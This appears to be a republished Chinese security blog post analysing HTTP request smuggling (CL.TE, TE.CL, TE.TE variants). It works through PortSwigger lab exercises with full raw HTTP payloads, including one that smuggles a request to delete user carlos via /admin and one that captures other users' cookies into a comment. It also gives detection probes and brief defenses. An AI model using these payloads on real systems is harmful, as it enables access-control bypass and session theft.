HTTP请求走私漏洞分析

admin 2020年12月10日10:00:50评论50 views字数 6931阅读23分6秒阅读模式
目录
  • 背景
  • 时间线
  • 漏洞成因
  • 四种漏洞利用详情
    • Content-Length*Content-Length 类型

    • Content-Length*Transfer-Encoding类型

    • Transfer-Encoding*Content-Length类型

    • Transfer-Encoding*Transfer-Encoding类型

  • 漏洞利用案例
    • 利用Tran

      sfer-Encoding*Content-Length类型漏洞删除用户

    • 利用C

      ontent-Length*Transfer-Encoding类型漏洞获取其他人的cookie

  • 检测方法
    • Content-Length*Transfer-Encoding检测

    • Transfer-Encoding*Content-Length检测

  • 其他
  • 防护
  • 参考

 

 

背景
最近在翻看2020年blackhat的议题时, 发现HTTP request smuggling(HTTP请求走私)又上榜了。对于这个漏洞, 之前有所耳闻,了解过其原理,但是一直没有实操过。正好portswigger上有相应的案例,遂通过案例学习一下,看是否可以以此写一个插件补充内部扫描器。

时间线

blackhat的ppt中,对于时间线的描述已经很详细,这里仅使用其列出的时间线,不再重新查找资料

  • 2005, "HTTP Request Smuggling" 论文发表
  • 2005-2006 一些短的调查与分享, 列在参考3-5
  • 2015-2016 DefCon 24上分享了 Hiding Wookiesin HTTP
  • 2019 blackhat us 2019分享了 http-desync-attacks-request-smuggling-reborn
漏洞成因

由于不同的中间件在HTTP协议解析过程中,对请求头顺序的优先级处理不同, 在混合使用多种请求头时,由解析的差异发起了恶意的http请求并获取了额外的信息或者未授权访问到内部服务, 故称HTTP请求走私

在HTTP的协议中,有Keep-AlivePipelining两个特性。其中Keep-Alive允许Web服务器保持TCP连接,在同一个套接字中,可以进行多次请求与响应。而 Pipelining允许Web服务器以先进先出的方式异步处理请求,从而加快请求速度。

除此之外,HTTP协议还支持两个请求头字段: Content-LengthTransfer-Encoding。对于Web攻击来说,Transfer-Encdoing更有用一些, 可用来绕过WAF等.
在这些特性的支持下, Web服务器可以更快的处理请求。在一个复杂的网络环境中, 存在着多重负载的可能,而多重负载之间的中间件在处理Content-TypeTransfer-Encoding这两个请求字段时的顺序不同,导致了HTTP请求走私漏洞。
针对这两个请求头的不同处理顺序,理论上会出现2^2种漏洞,如下所示, 其中默认Transfer-Encoding的值为chunked 。
  • Content-Length * Content-Length 类型
  • Content-Length * Transfer-Encoding 类型
  • Transfer-Encoding * Content-Length 类型
  • Transfer-Encoding * Transfer-Encoding 类型

HTTP请求走私漏洞分析

另外这里有点类似最近出现的shiro权限绕过,因为SpringTomcat对于URL字符处理的不同,导致添加/; 或者其URL编码可以绕过权限,未授权获取信息。

 

四种漏洞类型利用详情

Content-Length*Content-Length 类型

portswigger的文章与靶场中, 并未给出此种类型的案例,仅在rfc2616-sec4有以下描述: 

3.If a Content-Length header field (section 14.13) is present, its decimal value in OCTETs represents both the entity-length and the transfer-length. The Content-Length header field MUST NOT be sent if these two lengths are different ,

遂不对此类型过多关注。

 

Content-Length*Transfer-Encoding 类型

在同一请求中, 同时存在Content-LengthTransfer-Encoding两个请求头, 且前一个中间件优先对Content-Length进行处理, 而后边的中间件则对Transfer-Encoding优先处理。在这种类型中, 使用BurpSuite或者python requests包测试时, 仅考虑payload如何构造即可, 因为默认会自动更新Content-Length的值。

以下面的请求为例: 因为前端中间件以Content-Length的长度来判断,整个请求内容又正好满足其长度,所以会将整个请求内容传送给后端服务器。后端服务器则以Transfer-Encoding请求头优先解析内容, 而请求体中 0rnrn表示块传输的结束, 在这种情况下, 后边的POST / HTTP/1.1会作为另外一个请求,同时该请求Content-Length大小置为100,服务器会等待再下一个请求,如GET /serect HTTP/1.1rnHost: xx直至满足100为止,这时如果search字段的值展示在页面中,就可以看到其特殊的请求头。

POST / HTTP/1.1
Host: ac021f331e59524480b9834700520027.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 101
Origin: https://ac021f331e59524480b9834700520027.web-security-academy.net
Connection: close
Transfer-Encoding: chunked
Referer: https://ac021f331e59524480b9834700520027.web-security-academy.net/
Cookie: session=UjmkJb9uPlHCQtAAewGPnODIWrwcDj6F
Upgrade-Insecure-Requests: 1

0

POST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

search=

HTTP请求走私漏洞分析

 

Transfer-Encoding*Content-Length 类型

同前一种类型一样, 均包含Content-LengthTransfer-Encoding两个请求头,不同的是,前端中间件优先处理Transfer-Encoding而后面的服务器则优先处理Content-Length

在portswigger提供的环境里, Content-Length设置成3或者4均可,即服务端会默认忽略n字符, 且python中的urllib2,requests包均无法直接测试使用。urllib2会截断Content-Length长度的数据,而requests会自动更新Content-Length为匹配的长度。在BurpSuite中测试时, 需要关闭Repeter的 Update Content-Length选项。

对于块传输的内容,正常更新即可,其格式为:

       chunk          = chunk-size [ chunk-extension ] CRLF
                        chunk-data CRLF
       chunk-size     = 1*HEX
       last-chunk     = 1*("0") [ chunk-extension ] CRLF
十六进制大小rn数据rn0rn

前端负载以块传输将数据传递到后端, 后端服务器以Content-Length来提取数据。因为其长度为3,所以提取到的内容为81r, 如果Content-Length长度为4的话, 获取的内容为81rn,两种均可成功利用。此时剩下一个请求GET /admin/delete?username=carlos HTTP/1.1 而此请求中的Content-Length会被忽略, 导致删除carlos用户。

POST / HTTP/1.1
Host: ac861f8b1fe701cf80921e5100a200ae.web-security-academy.net
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:83.0) Gecko/20100101 Firefox/83.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://portswigger.net/web-security/request-smuggling/finding/lab-confirming-cl-te-via-differential-responses
Cookie: session=kK8Bf7ImhHhKwvhMwBmiAjuY8JKv2JS2
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 3
Transfer-Encoding: chunked

81
GET /admin/delete?username=carlos HTTP/1.1
Host: localhost
Via: 127.0.0.1
X-Forwarded-For:127.0.0.1
Content-Length: 100

x=
0

 

HTTP请求走私漏洞分析

Transfer-Encoding*Transfer-Encoding类型

同第一种漏洞类型类似,区别只是在同一个请求中,使用了两个Transfer-Encoding,不同于Content-Length,未找到关于两个Transfer-Encoding的限制(如有辛苦告知). 所以可以利用混淆来绕过. 如使用Transfer-Encoding: xchunked 或者Transfer-Encoding:[tab]chunked等。在案例中, 其解法如下, 通过添加不同的Transfer-Encoding的格式,混乱前端负载对Transfer-Encoding的判断, 即: 其实质上仍然是前两种类型的漏洞。

POST / HTTP/1.1
Host: your-lab-id.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-length: 4
Transfer-Encoding: chunked
Transfer-encoding: cow

5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15

x=1
0

漏洞利用案例
在这里给出两个portswigger漏洞验证环境的解析 分别为CL * TE类型和TE × CL类型, 当时除此之外,portswigger提供了共12个环境,包含了验证环境,XSS漏洞、缓存、未授权利用等不同场景。感兴趣的同学可以注册帐号验证
1. 利用Transfer-Encoding*Content-Length类型漏洞删除用户

环 境https://portswigger.net/web-security/request-smuggling/exploiting/lab-bypass-front-end-controls-te-cl 

描 述: 该应用有一个/admin页面,但是由于前面负载的限制,没办法访问到. 试图利用请求走私删除carlos用户

首先提示已经是TE × CL类型, 构造一个走私请求,获取/admin页面,提示只有本地才可以访问

HTTP请求走私漏洞分析

由于存在多个指定本地请求的请求头,但对控制请求的请求头未知,因此需要添加多个header获取

HTTP请求走私漏洞分析

删除对应的用户

HTTP请求走私漏洞分析

2. 利用Content-Length*Transfer-Encoding类型漏洞获取其他人的cookie

环 境:https://portswigger.net/web-security/request-smuggling/exploiting/lab-capture-other-users-requests 

描 述: 通过请求走私,获取他人的cookie

前边解释CL-TE类型的时候, 举过一个serarch的例子, 也是本次练习的题之一。既然可以通过search字段回显,那么当然也可以通过插入数据到数据库操作,把其他人的请求作为值插入数据库中。

在回帖的地方,使用请求走私,这里的Content-Length是用来获取其他的请求头部的长度。由于如果过长,在等待中会超时,如果过短,无法完全获取其cookie,在多次测试后发现808是可以的。

HTTP请求走私漏洞分析

在postId为10的评论内容中,可发现受害者的请求包拼接到了comment参数中

HTTP请求走私漏洞分析

配置cookie解题成功

HTTP请求走私漏洞分析

检测方法

1. Content-Length * Transfer-Encoding检测

对于前端解析来说, 1rnArnXrn1rnArn满足长度为4, 并将其作为请求体传给后端。而后端优先以Transfer-Encoding请求头解析,1rnArn并不满足chunked结束的条件, 所以会一直等待直到超时为止。

发送如下请求,可以检测该类型的漏洞。

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 4

1
A
X

2. Transfer-Encoding*Content-Length检测

对于前端解析来说, 0rnrnX0rnrn满足长度为chunked结束的标志, 并将其作为请求体传给后端。而后端优先以Content-Length请求头解析,0rnrn并不满足长度为6的条件, 所以会一直等待后续的请求直到超时为止。

发送如下请求, 可以检测该类型的漏洞

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Content-Length: 6

0

X

其他

像前边描述,对于有回显的参数或者插入数据库的操作,可以将插入字段作为一个最后的值,加大Content-Length以获取下一次请求用户的请求头等参数

防护
  1. 使用HTTP/2协议

  2. 尽量前后端使用同一类型的负载或者Web服务器
  3. 禁用后端连接的重用
参考
  1. BLACKHAT 2020: https://www.blackhat.com/us-20/briefings/schedule/#http-request-smuggling-in---new-variants-new-defenses-and-new-challenges-20019
  2. portswigger:https://portswigger.net/web-security/request-smuggling/
  3. Can HTTP Request Smuggling be blocked by Web Application Firewalls?
  4. Technical Note: Detecting and Preventing HTTP Response Splitting and HTTP Request Smuggling Attacks at the TCP Level
  5. [WEB SECURITY] Whitepaper by Amit Klein: "HTTP Response Smuggling"
  6. demystifying-http-request-smuggling

爱奇艺安全应急响应中心(71SRC)
在提交漏洞之前
欢迎大家仔细阅读 爱奇艺安全应急响应中心漏洞处理流程与评分标准
爱奇艺安全团队期待与您共建健康、友好的沟通和合作。
扫描二维码关注我们哦~

HTTP请求走私漏洞分析

 

原文始发于微信公众号(爱奇艺安全应急响应中心):【超干货】HTTP请求走私漏洞分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2020年12月10日10:00:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   HTTP请求走私漏洞分析https://cn-sec.com/archives/1098564.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息